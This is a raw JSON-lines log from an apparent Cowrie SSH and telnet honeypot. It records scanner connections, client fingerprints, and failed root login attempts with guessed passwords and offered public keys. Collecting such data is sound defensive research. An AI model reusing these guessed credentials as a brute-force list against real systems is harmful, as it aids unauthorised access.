{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:49.255730Z","src_ip":"45.137.172.116","session":"dc4da8c4928a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@4321","message":"login attempt [root/abcd@4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:49.674343Z","src_ip":"45.137.172.116","session":"dc4da8c4928a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:50.775034Z","src_ip":"45.137.172.116","session":"dc4da8c4928a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":44780,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ba183431549","protocol":"ssh","message":"New connection: 43.173.84.253:44780 (159.203.135.109:22) [session: 6ba183431549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:56.925637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:56.930790Z","src_ip":"43.173.84.253","session":"6ba183431549","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:56.999293Z","src_ip":"43.173.84.253","session":"6ba183431549","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@WSX3edc$RFV","message":"login attempt [root/@WSX3edc$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:57.307175Z","src_ip":"43.173.84.253","session":"6ba183431549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:58.378996Z","src_ip":"43.173.84.253","session":"6ba183431549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.187604665756226,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:59.737969Z","src_ip":"152.42.224.71","session":"614064df9515","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54692,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5da16b3dfc4","protocol":"telnet","message":"New connection: 152.42.224.71:54692 (10.17.0.5:23) [session: a5da16b3dfc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:05.086413Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55082,"dst_ip":"10.17.0.5","dst_port":23,"session":"af7cee896823","protocol":"telnet","message":"New connection: 152.42.224.71:55082 (10.17.0.5:23) [session: af7cee896823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:12.061582Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.200.117","src_port":40082,"dst_ip":"10.17.0.5","dst_port":22,"session":"3187d3c96f30","protocol":"ssh","message":"New connection: 102.129.200.117:40082 (10.17.0.5:22) [session: 3187d3c96f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:41.478567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:41.483193Z","src_ip":"102.129.200.117","session":"3187d3c96f30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:41.571411Z","src_ip":"102.129.200.117","session":"3187d3c96f30","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:a4:8c:70:21:db:49:01:f3:75:be:38:66:67:55:16","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG21tE+XAGfHzFouJtM2deGhs5OaSQdvmz6COcBflVqj","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 97:a4:8c:70:21:db:49:01:f3:75:be:38:66:67:55:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:41.969125Z","src_ip":"102.129.200.117","session":"3187d3c96f30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:a4:8c:70:21:db:49:01:f3:75:be:38:66:67:55:16","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG21tE+XAGfHzFouJtM2deGhs5OaSQdvmz6COcBflVqj","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:41.973057Z","src_ip":"102.129.200.117","session":"3187d3c96f30","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:cb:0a:ec:40:71:41:02:2c:42:a6:ef:c6:dc:70:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt7esCWdBt3I/egaV1iELfURBJq1Gaze9vjc6g9nNp/cXThj+MIuUipU3FzbduPJVv+hjAXk7Z4qP08BZ80LYNggv45gBXIRhrIHZnouqrQ/58BI6eZ8ZeTCz9Ph0Yh55eY66Zr8kQOhWVG0FZhhYXC/e9pjlVrWn8JnNllMObAeqy+GH9noqWnErPQp9ywd62uDIRSueXubdURn9XaCQCKtSE4/jGlLGxeOuUyf4oeIE6J0ejoEgY5QzsXzg1PKqcbczVJjhAN/MTfrhWCyi80jsy7pP9YvyQURjfpYkba3MLTivj9FAqBW6iGrqh4tVpYTCr2eJgrvZEFTF+o+8x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:cb:0a:ec:40:71:41:02:2c:42:a6:ef:c6:dc:70:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:42.056985Z","src_ip":"102.129.200.117","session":"3187d3c96f30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:cb:0a:ec:40:71:41:02:2c:42:a6:ef:c6:dc:70:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt7esCWdBt3I/egaV1iELfURBJq1Gaze9vjc6g9nNp/cXThj+MIuUipU3FzbduPJVv+hjAXk7Z4qP08BZ80LYNggv45gBXIRhrIHZnouqrQ/58BI6eZ8ZeTCz9Ph0Yh55eY66Zr8kQOhWVG0FZhhYXC/e9pjlVrWn8JnNllMObAeqy+GH9noqWnErPQp9ywd62uDIRSueXubdURn9XaCQCKtSE4/jGlLGxeOuUyf4oeIE6J0ejoEgY5QzsXzg1PKqcbczVJjhAN/MTfrhWCyi80jsy7pP9YvyQURjfpYkba3MLTivj9FAqBW6iGrqh4tVpYTCr2eJgrvZEFTF+o+8x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:42.060744Z","src_ip":"102.129.200.117","session":"3187d3c96f30","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:85:51:59:a9:e0:76:4e:e5:96:06:80:29:01:0f:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/DeQtZh+1IHP3+fPkoDLWyvw7MeqKwETeY0Dh/LEQhXFas+YO/+GjqlcL3fL1DVTMMPg3JldFDd5znjMD4mmgk0BJNOO1uCeIsQueDEIEH3uZpfQrdi7OlKr9XqH5gmyXb802BpbqSkld0N40rET4KFnDjEkepyoGoyeEhbaz0Obqtz9hqydqe4D+gfxEKzw7sQtguS7gfFZHMtNhm9SixrOqypUDw+3a7ARtU1khBg7EUypTKQtHNpOxcV3rhnEmE0G0UbOPtKmn410C7Wc7FF3e5s8p5i3blAOPQBx2sEPgfUENDO7R2UXEzrDblbUHIB8z9G4tfeLxC4DjnzmZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:85:51:59:a9:e0:76:4e:e5:96:06:80:29:01:0f:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:42.144840Z","src_ip":"102.129.200.117","session":"3187d3c96f30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:85:51:59:a9:e0:76:4e:e5:96:06:80:29:01:0f:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/DeQtZh+1IHP3+fPkoDLWyvw7MeqKwETeY0Dh/LEQhXFas+YO/+GjqlcL3fL1DVTMMPg3JldFDd5znjMD4mmgk0BJNOO1uCeIsQueDEIEH3uZpfQrdi7OlKr9XqH5gmyXb802BpbqSkld0N40rET4KFnDjEkepyoGoyeEhbaz0Obqtz9hqydqe4D+gfxEKzw7sQtguS7gfFZHMtNhm9SixrOqypUDw+3a7ARtU1khBg7EUypTKQtHNpOxcV3rhnEmE0G0UbOPtKmn410C7Wc7FF3e5s8p5i3blAOPQBx2sEPgfUENDO7R2UXEzrDblbUHIB8z9G4tfeLxC4DjnzmZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:42.148582Z","src_ip":"102.129.200.117","session":"3187d3c96f30","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:76:a5:a4:86:19:e7:1b:47:50:bc:d7:80:a1:df:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXfQka054IoSVc+g3vr0x+Oug1oLyu4r3JA2ORBRiJ/mN3x+CEgVoMc9aWqsU0gM7fu3w9AEtVH/b5hfZ21ufaLDlABvOopdGosVC6k4WDTA+QJ0DrcYYzH/W4hDq9OxWT+39zqnIKvDQm5cLcwslf132LmmfXaG6BzvJcWfXHwfNtIB3FNcK9oggw7jII0nypNpKgmh1RAAdCbovO6GKyITC7HxSezSHqEcvOnoXnoabp+SIn/vX7Y6EIJEi3myLIbYmH86TrulMUN43wjjRc/hFF9ihzLmEUJowWrWFAzQiI/id2s6xncznbKQMbCWhmKS0ZM5NbVISsd2k+5Z6r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:76:a5:a4:86:19:e7:1b:47:50:bc:d7:80:a1:df:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:42.233067Z","src_ip":"102.129.200.117","session":"3187d3c96f30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:76:a5:a4:86:19:e7:1b:47:50:bc:d7:80:a1:df:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXfQka054IoSVc+g3vr0x+Oug1oLyu4r3JA2ORBRiJ/mN3x+CEgVoMc9aWqsU0gM7fu3w9AEtVH/b5hfZ21ufaLDlABvOopdGosVC6k4WDTA+QJ0DrcYYzH/W4hDq9OxWT+39zqnIKvDQm5cLcwslf132LmmfXaG6BzvJcWfXHwfNtIB3FNcK9oggw7jII0nypNpKgmh1RAAdCbovO6GKyITC7HxSezSHqEcvOnoXnoabp+SIn/vX7Y6EIJEi3myLIbYmH86TrulMUN43wjjRc/hFF9ihzLmEUJowWrWFAzQiI/id2s6xncznbKQMbCWhmKS0ZM5NbVISsd2k+5Z6r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:42.236112Z","src_ip":"102.129.200.117","session":"3187d3c96f30","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:81:1f:4f:b3:6c:fd:b3:b4:63:49:10:a0:27:b8:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZWfZVuOP9jU411pp9A9WVYuVQIxEBTu3Zw+IbB98XmZQGMaXja6jpjFts6SEdpexAqyrd4mHrjmI2+eo6Sk+jhV4V2DfBwLY5FKeDtrYpTid2ShLzXThcH28tj4/nMEOmW4DCd/8TD+IbE5/ppplx98gE9KWz/Tlw5X80lOMc5BA+EWRCpedMpIci52AyzkldEInCuHR56/WlO1edJsDjEkH06h0P7hWWbAgmO6yXx6P+mqBoQkFVbRQeNdPtUyvQpks3+dxNLGT8M4s4mNjoUEQjX+Zwj2AgK37y5+jNEJroBmsN10LeQdDFWpFCDabaJj4aAi3UC9KWIa2QuXLG+w3jmHMHtSnMiOKQ/MGEmYRNF/ZYPjFmhJp6xDVQXbhDHFLTUv2ETpDPSi+FQ76g/4foYvbAMaMmqSUdMWagxptE3iN/WLNhQgemY/YmRAZFmoquihkMeXbAr0aP+KXVfbi8cqh10nTqS52j7pOHV+Vdtcy1QUWgUJZAyZOUx0ZKrbqPXDXm12/oGc05ToUawDNUf8oMrNZl4NCg1KqvXenlUh2cBIYwINGGDZmv40WfrLRyuC8ZFvYktIwcI60OOz6yVgJaDZ5KTenZj0F0YJRAQHkjABzLQ3rxnhOf8oIrUn/U1+SU5qqQ3QhCSu/RLcUryxxzGI9XR1oJ7d4xSw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:81:1f:4f:b3:6c:fd:b3:b4:63:49:10:a0:27:b8:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:42.321675Z","src_ip":"102.129.200.117","session":"3187d3c96f30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:81:1f:4f:b3:6c:fd:b3:b4:63:49:10:a0:27:b8:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZWfZVuOP9jU411pp9A9WVYuVQIxEBTu3Zw+IbB98XmZQGMaXja6jpjFts6SEdpexAqyrd4mHrjmI2+eo6Sk+jhV4V2DfBwLY5FKeDtrYpTid2ShLzXThcH28tj4/nMEOmW4DCd/8TD+IbE5/ppplx98gE9KWz/Tlw5X80lOMc5BA+EWRCpedMpIci52AyzkldEInCuHR56/WlO1edJsDjEkH06h0P7hWWbAgmO6yXx6P+mqBoQkFVbRQeNdPtUyvQpks3+dxNLGT8M4s4mNjoUEQjX+Zwj2AgK37y5+jNEJroBmsN10LeQdDFWpFCDabaJj4aAi3UC9KWIa2QuXLG+w3jmHMHtSnMiOKQ/MGEmYRNF/ZYPjFmhJp6xDVQXbhDHFLTUv2ETpDPSi+FQ76g/4foYvbAMaMmqSUdMWagxptE3iN/WLNhQgemY/YmRAZFmoquihkMeXbAr0aP+KXVfbi8cqh10nTqS52j7pOHV+Vdtcy1QUWgUJZAyZOUx0ZKrbqPXDXm12/oGc05ToUawDNUf8oMrNZl4NCg1KqvXenlUh2cBIYwINGGDZmv40WfrLRyuC8ZFvYktIwcI60OOz6yVgJaDZ5KTenZj0F0YJRAQHkjABzLQ3rxnhOf8oIrUn/U1+SU5qqQ3QhCSu/RLcUryxxzGI9XR1oJ7d4xSw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:42.325577Z","src_ip":"102.129.200.117","session":"3187d3c96f30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:42.410957Z","src_ip":"102.129.200.117","session":"3187d3c96f30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.49210286140442,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:46.553552Z","src_ip":"152.42.224.71","session":"af7cee896823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48886,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d8713149428","protocol":"telnet","message":"New connection: 152.42.224.71:48886 (10.17.0.5:23) [session: 5d8713149428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:54.149887Z"}
{"eventid":"cowrie.session.closed","duration":100.98010587692261,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:34:56.516844Z","src_ip":"152.42.224.71","session":"54584e6c62ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50486,"dst_ip":"159.203.135.109","dst_port":22,"session":"0936d8a84d97","protocol":"ssh","message":"New connection: 152.42.212.128:50486 (159.203.135.109:22) [session: 0936d8a84d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:01.123709Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:01.129556Z","src_ip":"152.42.212.128","session":"0936d8a84d97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:01.135135Z","src_ip":"152.42.212.128","session":"0936d8a84d97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.69936656951904,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:03.785422Z","src_ip":"152.42.224.71","session":"a5da16b3dfc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":36938,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbc35d3783d8","protocol":"ssh","message":"New connection: 89.108.118.91:36938 (10.17.0.5:22) [session: dbc35d3783d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:22.774782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:22.779938Z","src_ip":"89.108.118.91","session":"dbc35d3783d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:22.914662Z","src_ip":"89.108.118.91","session":"dbc35d3783d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lerochka","message":"login attempt [root/lerochka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:23.306361Z","src_ip":"89.108.118.91","session":"dbc35d3783d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:24.510746Z","src_ip":"89.108.118.91","session":"dbc35d3783d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":34760,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e1fc846b9eb","protocol":"ssh","message":"New connection: 103.75.182.198:34760 (10.17.0.5:22) [session: 3e1fc846b9eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:24.530049Z"}
